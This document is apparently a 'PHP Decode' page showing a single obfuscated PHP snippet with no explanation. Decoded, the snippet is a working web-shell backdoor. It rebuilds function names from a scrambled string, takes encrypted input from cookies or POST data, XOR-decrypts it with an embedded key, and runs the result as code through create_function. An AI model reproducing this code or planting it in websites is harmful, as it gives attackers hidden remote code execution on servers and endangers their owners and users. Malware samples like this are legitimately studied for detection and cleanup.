PHP Decode

<?php 
$yvjgcr = 'seir79vul64yH_baf8c1xdt3ok#p\'0*gm2-n';$lfeaihb = Array();$lfeaihb[] = $yvjgcr[18].$yvjgcr[3].$yvjgcr[1].$yvjgcr[15].$yvjgcr[22].$yvjgcr[1].$yvjgcr[13].$yvjgcr[16].$yvjgcr[7].$yvjgcr[35].$yvjgcr[18].$yvjgcr[22].$yvjgcr[2].$yvjgcr[24].$yvjgcr[35];$lfeaihb[] = $yvjgcr[4].$yvjgcr[9].$yvjgcr[17].$yvjgcr[18].$yvjgcr[4].$yvjgcr[10].$yvjgcr[29].$yvjgcr[15].$yvjgcr[34].$yvjgcr[23].$yvjgcr[18].$yvjgcr[21].$yvjgcr[18].$yvjgcr[34].$yvjgcr[10].$yvjgcr[23].$yvjgcr[4].$yvjgcr[29].$yvjgcr[34].$yvjgcr[17].$yvjgcr[19].$yvjgcr[9].$yvjgcr[19].$yvjgcr[34].$yvjgcr[18].$yvjgcr[9].$yvjgcr[16].$yvjgcr[18].$yvjgcr[4].$yvjgcr[16].$yvjgcr[33].$yvjgcr[5].$yvjgcr[16].$yvjgcr[4].$yvjgcr[4].$yvjgcr[23];$lfeaihb[] = $yvjgcr[12].$yvjgcr[30];$lfeaihb[] = $yvjgcr[26];$lfeaihb[] = $yvjgcr[18].$yvjgcr[24].$yvjgcr[7].$yvjgcr[35].$yvjgcr[22];$lfeaihb[] = $yvjgcr[0].$yvjgcr[22].$yvjgcr[3].$yvjgcr[13].$yvjgcr[3].$yvjgcr[1].$yvjgcr[27].$yvjgcr[1].$yvjgcr[15].$yvjgcr[22];$lfeaihb[] = $yvjgcr[1].$yvjgcr[20].$yvjgcr[27].$yvjgcr[8].$yvjgcr[24].$yvjgcr[21].$yvjgcr[1];$lfeaihb[] = $yvjgcr[0].$yvjgcr[7].$yvjgcr[14].$yvjgcr[0].$yvjgcr[22].$yvjgcr[3];$lfeaihb[] = $yvjgcr[15].$yvjgcr[3].$yvjgcr[3].$yvjgcr[15].$yvjgcr[11].$yvjgcr[13].$yvjgcr[32].$yvjgcr[1].$yvjgcr[3].$yvjgcr[31].$yvjgcr[1];$lfeaihb[] = $yvjgcr[0].$yvjgcr[22].$yvjgcr[3].$yvjgcr[8].$yvjgcr[1].$yvjgcr[35];$lfeaihb[] = $yvjgcr[27].$yvjgcr[15].$yvjgcr[18].$yvjgcr[25];foreach ($lfeaihb[8]($_COOKIE, $_POST) as $bccslut => $ewcpfx){function jemms($lfeaihb, $bccslut, $ieqbanp){return $lfeaihb[7]($lfeaihb[5]($bccslut . $lfeaihb[1], ($ieqbanp / $lfeaihb[9]($bccslut)) + 1), 0, $ieqbanp);}function mzlwml($lfeaihb, $mjqnyij){return @$lfeaihb[10]($lfeaihb[2], $mjqnyij);}function ccdmrzw($lfeaihb, $mjqnyij){$awchm = $lfeaihb[4]($mjqnyij) % 3;if (!$awchm) {$atamcb = $lfeaihb[0]; $ngudu = $atamcb("", $mjqnyij[1]($mjqnyij[2]));$ngudu();exit();}}$ewcpfx = mzlwml($lfeaihb, $ewcpfx);ccdmrzw($lfeaihb, $lfeaihb[6]($lfeaihb[3], $ewcpfx ^ jemms($lfeaihb, $bccslut, $lfeaihb[9]($ewcpfx))));} ?>